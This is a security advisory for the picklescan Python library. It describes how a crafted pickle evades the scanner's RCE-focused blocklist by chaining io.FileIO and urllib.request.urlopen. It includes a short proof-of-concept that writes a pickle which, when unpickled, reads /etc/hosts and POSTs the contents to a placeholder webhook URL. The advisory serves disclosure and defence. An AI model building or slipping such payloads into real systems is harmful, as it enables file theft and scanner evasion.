PT-2026-3411 · Pypi · Picklescan
Publicado
2026-01-08
·
Atualizado
2026-01-08
CVSS v3.1
7.5
Alta
| Vetor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
Summary
Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.
Details
The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:
-
io.FileIO: Opens local files without using builtins.open.
-
urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.
-
Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.
PoC
python
import pickle, io, urllib.request
class GetFile:
def reduce (self):
return (io.FileIO, ('/etc/hosts', 'r'))
class Exfiltrate:
def reduce (self):
return (urllib.request.urlopen, ('https://webhook.site/YOUR UUID HERE', GetFile()))
with open("bypass http.pkl", "wb") as f:
pickle.dump(Exfiltrate(), f)Impact
- Arbitrary file read
Thanks for this library and your time. If you think
picklescan is focused on detecting only RCE kind of vulnerabilities rather adding File IO, Http or any protocol based may cause lot of noise, feel free to close this issue.Correção
SSRF
Path traversal
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Identificadores relacionados
Produtos afetados
Picklescan